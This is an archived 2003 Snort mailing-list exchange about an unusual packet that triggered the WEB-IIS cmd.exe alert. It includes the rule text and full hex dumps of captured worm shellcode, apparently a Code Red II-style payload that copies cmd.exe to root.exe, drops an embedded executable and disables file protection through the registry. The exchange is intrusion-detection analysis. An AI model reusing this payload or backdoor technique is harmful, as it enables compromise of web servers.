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Re: different CMD.exe access?!?


From: Phil Wood <cpw () cynosure lanl gov>
Date: Tue, 11 Mar 2003 12:08:13 -0700

Short answer: Yes.  And, they are coming from Portugal and other countries as
              well.

Long answer (with a request for additional information that should be include
             in all queries of this type)

Attention all snort users.  It will save at least three more emails on this
subject and any other subject if all of you folks, young and old, veterans
and newbies alike include the following in your email(examples relate to my OS):

1. SNORT VERSION:
   % snort -V
   Initializing Output Plugins!

   -*> Snort! <*-
   Version 2.0.0beta (Build 57)
   By Martin Roesch (roesch () sourcefire com, www.snort.org)

2. THE RULE:
   % grep "sid:[ ]*xxxx[ ]*;" rules/*.rules (where xxxx is the SID)
   rules/web-iis.rules:alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
   (msg:"WEB-IIS cmd.exe access"; flow:to_server,established; content:"cmd.exe";
   nocase; classtype:web-application-attack; sid:1002;  rev:5;)

3. OPERATING SYSTEM:
   % uname -s
   Linux

4. TRACE (home grown from pcap file)

04:23:07.301975 219.240.31.43.52417 > 10.0.191.179.80: . 2014:3462(1448) ack 1 win 17520 <nop,nop,timestamp 903573427 
2054612915> (DF)

              RFC791: INTERNET PROTOCOL, September 1981  
   0                   1                   2                   3
   0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  | VER=4 | IHL=5 | ROU | | | | | | Total Length = 1500           |
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  | Identification = 10807        | |D| | Fragment Offset = 0     |
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  |    TTL=50     | Protocol = 6  | Header Checksum = 21526       |
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  | Source Address  = 219.240.31.43                               |
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  | Destination Address  = 10.0.191.179                           |
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        RFC793: TRANSMISSION CONTROL PROTOCOL, September 1981
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  | Source Port = 52417           | Destination Port = 80         |
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  | Sequence Number = 840894308                                   |
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  | Acknowledgment Number = 1533835227                            |
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  | OFF=8 | | | | | | | |A| | | | |  Window = 17520               |
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  | Checksum = 33332              | Urgent Pointer = 0            |
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                               Options
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  |     0x01      |     0x01      |     0x08      |     0x0a      |
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  |     0x35      |     0xdb      |     0x6f      |     0xb3      |
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  |     0x7a      |     0x76      |     0xe7      |     0xb3      |
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
                                Data
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  :  73457800  ff7590ff  55f88945  8cc38b45    : sEx  u  U  E   E :
  :  8469c005  84080840  8945848d  84047856    :  i     @ E    xV :
  :  3412f7d8  c1c008c3  e8e1ffff  ff3c0074    : 4            < t :
  :  f73cff74  f3c3e8ed  ffffff8a  f8e8e6ff    :  < t             :
  :  ffff8ad8  c1e310e8  dcffffff  8af8e8d5    :                  :
  :  ffffff8a  d8e8b4ff  ffff83e0  07e82000    :                  :
  :  0000ffff  ffff00ff  ffff00ff  ffff00ff    :                  :
  :  ffff00ff  ffff0000  ffff0000  ffff0000    :                  :
  :  ffff598b  048123d8  f7d02385  58feffff    :   Y   #   # X    :
  :  0bd880fb  7f749f80  fbe0749a  3b9d58fe    :      t    t ; X  :
  :  ffff7492  c3680401  00008d85  5cfeffff    :   t  h      \    :
  :  50ff55e0  8dbc055c  feffffe8  09000000    : P U    \         :
  :  5c434d44  2e455845  005efca5  a5a4b363    : \CMD.EXE ^     c :
  :  6a01e81c  00000064  3a5c696e  65747075    : j      d:\inetpu :
  :  625c7363  72697074  735c726f  6f742e65    : b\scripts\root.e :
  :  7865008b  0c248819  8d855cfe  ffff50ff    : xe   $    \   P  :
  :  55dc6a01  e82b0000  00643a5c  70726f67    : U j  +   d:\prog :
  :  72617e31  5c636f6d  6d6f6e7e  315c7379    : ra~1\common~1\sy :
  :  7374656d  5c4d5341  44435c72  6f6f742e    : stem\MSADC\root. :
  :  65786500  8b0c2488  198d855c  feffff50    : exe   $    \   P :
  :  ff55dce8  ba050000  fc4d5a50  00020000    :  U       MZP     :
  :  0004000f  00ffff00  00b80000  00000000    :                  :
  :  0040001a  fc000001  fcfcfcfc  fcfc0000    :  @               :
  :  50450000  4c010300  fd2a2529  00000000    : PE  L    *%)     :
  :  00000000  e0008f81  0b010219  00040000    :                  :
  :  00080000  00000000  00100000  00100000    :                  :
  :  00200000  00004000  00100000  00040000    :       @          :
  :  01000000  00000000  03000a00  00000000    :                  :
  :  00400000  00040000  00000000  02000000    :  @               :
  :  00001000  00200000  00001000  00100000    :                  :
  :  00000000  10000000  00000000  00000000    :                  :
  :  00300000  0c01fcfc  fc000000  00000000    :  0               :
  :  00000000  00000000  00000000  00000000    :                  :
  :  00000000  10000000  10000000  04000000    :                  :
  :  08000000  00000000  00000000  00000020    :                  :
  :  00006000  00000000  00000000  10000000    :   '              :
  :  20000000  04000000  0c000000  00000000    :                  :
  :  00000000  00000040  0000c000  00000000    :        @         :
  :  00000000  10000000  30000000  04000000    :         0        :
  :  10000000  00000000  00000000  00000040    :                @ :
  :  0000c0fc  fcfcfcfc  fcfcfcfc  fcfcfcfc    :                  :
  :  fcfcfcfc  fcfcfcfc  fcfcfcfc  fcfcfcfc    :                  :
  :  fcfcfcfc  fcfcfcfc  fcfcfcfc  fcfcfc00    :                  :
  :  00000000  00000000  00000000  00000068    :                h :
  :  04010000  68d02040  00e86101  00008db8    :     h  @  a      :
  :  d0204000  be002040  00a5a5a5  a56a0168    :   @    @     j h :
  :  d0204000  e84c0100  00e80c00  000068c0    :   @  L        h  :
  :  270900e8  31010000  ebef68d8  24400068    : '   1     h $@ h :
  :  3f000f00  6a006810  20400068  02000080    : ?   j h  @ h     :
  :  e8320100  000bc075  266a0468  54204000    :  2     u&j hT @  :
  :  6a046a00  68482040  00ff35d8  244000e8    : j j hH @  5 $@   :
  :  0d010000  ff35d824  4000e80e  01000068    :      5 $@      h :
  :  d8244000  683f000f  006a0068  58204000    :  $@ h?   j hX @  :
  :  68020000  80e8ed00  00000bc0  7555bd9c    : h           uU   :
  :  204000e8  4c000000  bda82040  00e84200    :  @  L      @  B  :
  :  00006a09  68b82040  006a016a  0068b020    :   j h  @ j j h   :
  :  4000ff35  d8244000  e8b40000  006a0968    : @  5 $@      j h :
  :  c4204000  6a016a00  68b42040  00ff35d8    :   @ j j h  @  5  :
  :  244000e8  99000000  ff35d824  4000e89a    : $@       5 $@    :
  :  000000c3  c705d024  40000004  000068d0    :        $@     h  :
  :  24400068  d0204000  68d42440  006a0055    : $@ h  @ h $@ j U :
  :  ff35d824  4000e860  0000000b  c07549a1    :  5 $@  '     uI  :
  :  d0244000  0bc07440  bed02040  00803e00    :  $@   t@   @  >  :
  :  74364666  817efe2c  2c75f2c7  06323137    : t6Ff ~ ,,u   217 :
  :  0081eecc  20400089  35d02440  00ff35d0    :      @  5 $@  5  :
  :  24400068  d0204000  6a016a00  55ff35d8    : $@ h  @ j j U 5  :
  :  244000e8  19000000  c3ff2560  304000ff    : $@        %'0@   :
  :  25643040  00ff2568  304000ff  25703040    : %d0@  %h0@  %p0@ :
  :  00ff2574  304000ff  25783040  00ff257c    :   %t0@  %x0@  %| :
  :  3040fcfc  fcfcfcfc  fcfcfcfc  fcfcfcfc    : 0@               :
  :  fcfcfcfc  fc000000  00000000  00000000    :                  :
  :  00005c45  58504c4f  5245522e  45584500    :   \EXPLORER.EXE  :
  :  0000534f  46545741  52455c4d  6963726f    :   SOFTWARE\Micro :
  :  736f6674  5c57696e  646f7773  204e545c    : soft\Windows NT\ :
  :  43757272  656e7456  65727369  6f6e5c57    : CurrentVersion\W :
  :  696e6c6f  676f6e00  00005346  43446973    : inlogon   SFCDis :
  :  61626c65  00009dff  ffff5359  5354454d    : able      SYSTEM :
  :  5c437572  72656e74  436f6e74  726f6c53    : \CurrentControlS :
  :  65745c53  65727669  6365735c  57335356    : et\Services\W3SV :
  :  435c5061  72616d65  74657273  5c566972    : C\Parameters\Vir :
  :  7475616c  20526f6f  74730000  00002f53    : tual Roots    /S :
  :  63726970  74730000  00002f4d  53414443    : cripts    /MSADC :
  :  00002f43  00002f44  0000633a  5c2c2c32    :   /C  /D  c:\,,2 :
  :  31370000  0000643a  5c2c2c32  3137fcfc    : 17    d:\,,217   :
  :  fcfcfcfc  fcfcfcfc  fcfcfcfc  fcfcfcfc    :                  :
  :  fcfcfcfc  fcfcfc00  00000000  00000000    :                  :
  :  00000000  00000000  0000003c  30000000    :            <0    :
  :  00000000  00000084  30000060  3000004c    :         0  '0  L :
  :  30000000  00000000  00000091  30000070    : 0           0  p :
  :  30000000  00000000  00000000  00000000    : 0                :
  :  00000000  0000009e                        :                  :
  +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


On Tue, Mar 11, 2003 at 10:58:50AM -0500, John Hally wrote:

Hello,

This is a different looking trace that tripped on the CMD.EXE rule.  I
usually see a bunch of ../../../cmd.exe, but this one looks different.
Anyone else seeing this?  it originated from 219.240.31.44, over in Korea:


000 : 61 6D 65 00 FF 75 BC FF 55 F8 89 45 98 E8 10 00   ame..u..U..E....
010 : 00 00 57 53 41 47 65 74 4C 61 73 74 45 72 72 6F   ..WSAGetLastErro
020 : 72 00 FF 75 BC FF 55 F8 89 45 94 E8 0B 00 00 00   r..u..U..E......
030 : 55 53 45 52 33 32 2E 44 4C 4C 00 FF 55 F4 89 45   USER32.DLL..U..E
040 : 90 E8 0E 00 00 00 45 78 69 74 57 69 6E 64 6F 77   ......ExitWindow
050 : 73 45 78 00 FF 75 90 FF 55 F8 89 45 8C C3 8B 45   sEx..u..U..E...E
060 : 84 69 C0 05 84 08 08 40 89 45 84 8D 84 04 78 56   .i..... ()  E    xV
070 : 34 12 F7 D8 C1 C0 08 C3 E8 E1 FF FF FF 3C 00 74   4............<.t
080 : F7 3C FF 74 F3 C3 E8 ED FF FF FF 8A F8 E8 E6 FF   .<.t............
090 : FF FF 8A D8 C1 E3 10 E8 DC FF FF FF 8A F8 E8 D5   ................
0a0 : FF FF FF 8A D8 E8 B4 FF FF FF 83 E0 07 E8 20 00   .............. .
0b0 : 00 00 FF FF FF FF 00 FF FF FF 00 FF FF FF 00 FF   ................
0c0 : FF FF 00 FF FF FF 00 00 FF FF 00 00 FF FF 00 00   ................
0d0 : FF FF 59 8B 04 81 23 D8 F7 D0 23 85 58 FE FF FF   ..Y...#...#.X...
0e0 : 0B D8 80 FB 7F 74 9F 80 FB E0 74 9A 3B 9D 58 FE   ....t....t.;.X.
0f0 : FF FF 74 92 C3 68 04 01 00 00 8D 85 5C FE FF FF   ..t..h......\...
100 : 50 FF 55 E0 8D BC 05 5C FE FF FF E8 09 00 00 00   P.U....\........
110 : 5C 43 4D 44 2E 45 58 45 00 5E FC A5 A5 A4 B3 63   \CMD.EXE.^.....c
120 : 6A 01 E8 1C 00 00 00 64 3A 5C 69 6E 65 74 70 75   j......d:\inetpu
130 : 62 5C 73 63 72 69 70 74 73 5C 72 6F 6F 74 2E 65   b\scripts\root.e
140 : 78 65 00 8B 0C 24 88 19 8D 85 5C FE FF FF 50 FF   xe...$....\...P.
150 : 55 DC 6A 01 E8 2B 00 00 00 64 3A 5C 70 72 6F 67   U.j..+...d:\prog
160 : 72 61 7E 31 5C 63 6F 6D 6D 6F 6E 7E 31 5C 73 79   ra~1\common~1\sy
170 : 73 74 65 6D 5C 4D 53 41 44 43 5C 72 6F 6F 74 2E   stem\MSADC\root.
180 : 65 78 65 00 8B 0C 24 88 19 8D 85 5C FE FF FF 50   exe...$....\...P
190 : FF 55 DC E8 BA 05 00 00 FC 4D 5A 50 00 02 00 00   .U.......MZP....
1a0 : 00 04 00 0F 00 FF FF 00 00 B8 00 00 00 00 00 00   ................
1b0 : 00 40 00 1A FC 00 00 01 FC FC FC FC FC FC 00 00   .@..............
1c0 : 50 45 00 00 4C 01 03 00 FD 2A 25 29 00 00 00 00   PE..L....*%)....
1d0 : 00 00 00 00 E0 00 8F 81 0B 01 02 19 00 04 00 00   ................
1e0 : 00 08 00 00 00 00 00 00 00 10 00 00 00 10 00 00   ................
1f0 : 00 20 00 00 00 00 40 00 00 10 00 00 00 04 00 00   . ....@.........
200 : 01 00 00 00 00 00 00 00 03 00 0A 00 00 00 00 00   ................
210 : 00 40 00 00 00 04 00 00 00 00 00 00 02 00 00 00   .@..............
220 : 00 00 10 00 00 20 00 00 00 00 10 00 00 10 00 00   ..... ..........
230 : 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00   ................
240 : 00 30 00 00 0C 01 FC FC FC 00 00 00 00 00 00 00   .0..............
250 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
260 : 00 00 00 00 10 00 00 00 10 00 00 00 04 00 00 00   ................
270 : 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20   ............... 
280 : 00 00 60 00 00 00 00 00 00 00 00 00 10 00 00 00   ..`.............
290 : 20 00 00 00 04 00 00 00 0C 00 00 00 00 00 00 00    ...............
2a0 : 00 00 00 00 00 00 00 40 00 00 C0 00 00 00 00 00   .......@........
2b0 : 00 00 00 00 10 00 00 00 30 00 00 00 04 00 00 00   ........0.......
2c0 : 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40   ...............@
2d0 : 00 00 C0 FC FC FC FC FC FC FC FC FC FC FC FC FC   ................
2e0 : FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC   ................
2f0 : FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC 00   ................
300 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68   ...............h
310 : 04 01 00 00 68 D0 20 40 00 E8 61 01 00 00 8D B8   ....h. @..a.....
320 : D0 20 40 00 BE 00 20 40 00 A5 A5 A5 A5 6A 01 68   . @... @.....j.h
330 : D0 20 40 00 E8 4C 01 00 00 E8 0C 00 00 00 68 C0   . @..L........h.
340 : 27 09 00 E8 31 01 00 00 EB EF 68 D8 24 40 00 68   '...1.....h.$@.h
350 : 3F 00 0F 00 6A 00 68 10 20 40 00 68 02 00 00 80   ?...j.h. @.h....
360 : E8 32 01 00 00 0B C0 75 26 6A 04 68 54 20 40 00   .2.....u&j.hT @.
370 : 6A 04 6A 00 68 48 20 40 00 FF 35 D8 24 40 00 E8   j.j.hH @..5.$@..
380 : 0D 01 00 00 FF 35 D8 24 40 00 E8 0E 01 00 00 68   .....5.$@......h
390 : D8 24 40 00 68 3F 00 0F 00 6A 00 68 58 20 40 00   .$@.h?...j.hX @.
3a0 : 68 02 00 00 80 E8 ED 00 00 00 0B C0 75 55 BD 9C   h...........uU..
3b0 : 20 40 00 E8 4C 00 00 00 BD A8 20 40 00 E8 42 00    @..L..... @..B.
3c0 : 00 00 6A 09 68 B8 20 40 00 6A 01 6A 00 68 B0 20   ..j.h. @.j.j.h. 
3d0 : 40 00 FF 35 D8 24 40 00 E8 B4 00 00 00 6A 09 68   @..5.$@......j.h
3e0 : C4 20 40 00 6A 01 6A 00 68 B4 20 40 00 FF 35 D8   . @.j.j.h. @..5.
3f0 : 24 40 00 E8 99 00 00 00 FF 35 D8 24 40 00 E8 9A   $@.......5.$@...
400 : 00 00 00 C3 C7 05 D0 24 40 00 00 04 00 00 68 D0   .......$@.....h.
410 : 24 40 00 68 D0 20 40 00 68 D4 24 40 00 6A 00 55   $@.h. @.h.$@.j.U
420 : FF 35 D8 24 40 00 E8 60 00 00 00 0B C0 75 49 A1   .5.$@..`.....uI.
430 : D0 24 40 00 0B C0 74 40 BE D0 20 40 00 80 3E 00   .$@...t@.. @..>.
440 : 74 36 46 66 81 7E FE 2C 2C 75 F2 C7 06 32 31 37   t6Ff.~.,,u...217
450 : 00 81 EE CC 20 40 00 89 35 D0 24 40 00 FF 35 D0   .... @..5.$@..5.
460 : 24 40 00 68 D0 20 40 00 6A 01 6A 00 55 FF 35 D8   $@.h. @.j.j.U.5.
470 : 24 40 00 E8 19 00 00 00 C3 FF 25 60 30 40 00 FF   $@........%`0@..
480 : 25 64 30 40 00 FF 25 68 30 40 00 FF 25 70 30 40   %d0@..%h0@..%p0@
490 : 00 FF 25 74 30 40 00 FF 25 78 30 40 00 FF 25 7C   ..%t0@..%x0@..%|
4a0 : 30 40 FC FC FC FC FC FC FC FC FC FC FC FC FC FC   0@..............
4b0 : FC FC FC FC FC 00 00 00 00 00 00 00 00 00 00 00   ................
4c0 : 00 00 5C 45 58 50 4C 4F 52 45 52 2E 45 58 45 00   ..\EXPLORER.EXE.
4d0 : 00 00 53 4F 46 54 57 41 52 45 5C 4D 69 63 72 6F   ..SOFTWARE\Micro
4e0 : 73 6F 66 74 5C 57 69 6E 64 6F 77 73 20 4E 54 5C   soft\Windows NT\
4f0 : 43 75 72 72 65 6E 74 56 65 72 73 69 6F 6E 5C 57   CurrentVersion\W
500 : 69 6E 6C 6F 67 6F 6E 00 00 00 53 46 43 44 69 73   inlogon...SFCDis
510 : 61 62 6C 65 00 00 9D FF FF FF 53 59 53 54 45 4D   able......SYSTEM
520 : 5C 43 75 72 72 65 6E 74 43 6F 6E 74 72 6F 6C 53   \CurrentControlS
530 : 65 74 5C 53 65 72 76 69 63 65 73 5C 57 33 53 56   et\Services\W3SV
540 : 43 5C 50 61 72 61 6D 65 74 65 72 73 5C 56 69 72   C\Parameters\Vir
550 : 74 75 61 6C 20 52 6F 6F                           tual Roo



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